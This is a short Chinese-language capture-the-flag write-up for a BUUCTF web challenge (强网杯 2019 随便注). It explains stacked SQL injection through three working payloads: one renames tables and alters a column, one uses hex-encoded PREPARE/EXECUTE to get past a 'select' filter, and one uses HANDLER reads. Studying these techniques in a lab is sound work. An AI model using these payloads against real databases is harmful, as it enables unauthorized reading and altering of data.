BUUCTF-WEB 【强网杯 2019】随便注 1

考点:堆叠注入

打开

supersqli ctftraining test

words 1919810931114514

更改表名 语句
rename table 表名 to 新表名;

更改表名结构
添加id 字段 并 设置约束
alert table words
add id int unsigned not Null auto_increment primary key ;

将table表中得 字段flag 重命名为 data
alert table words change flag data

第一种方式
原理:flag值在1919810931114514这张表中,由于select 关键字被过滤,能用show看到数据库名和表名,而页面回显的内容是words表中的内容,
而在这里,我们可以进行堆叠注入,可以修改表结构,先将words表改为其他的名,然后再将1919810931114514改成words,当然还没完,
页面回显的是id字段的内容,而此时的words表中的字段名为flag,这时我们就需要通过修改表结构,将flag字段改为id字段,因为flag字段的类型为varchar(100),
在改成id字段名的时候也需要重新指定。
1’ ; rename tables words to word1 ; rename tables 1919810931114514 to words ; alter table words change flag id varchar(100);#

第二种
PREPARE:准备一条SQL语句,并分配给这条SQL语句一个名字供之后调用
EXECUTE :执行命令
set @a=concat(“sel”,”ect flag from 1919810931114514“);
1’;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

第三种
1’; handler 1919810931114514 open as a; handler a read next;#

总结

第一种方式还比较容易理解,到了第二第三,真不是那么好理解,使用的关键字都比较冷门,平时基本都不会用。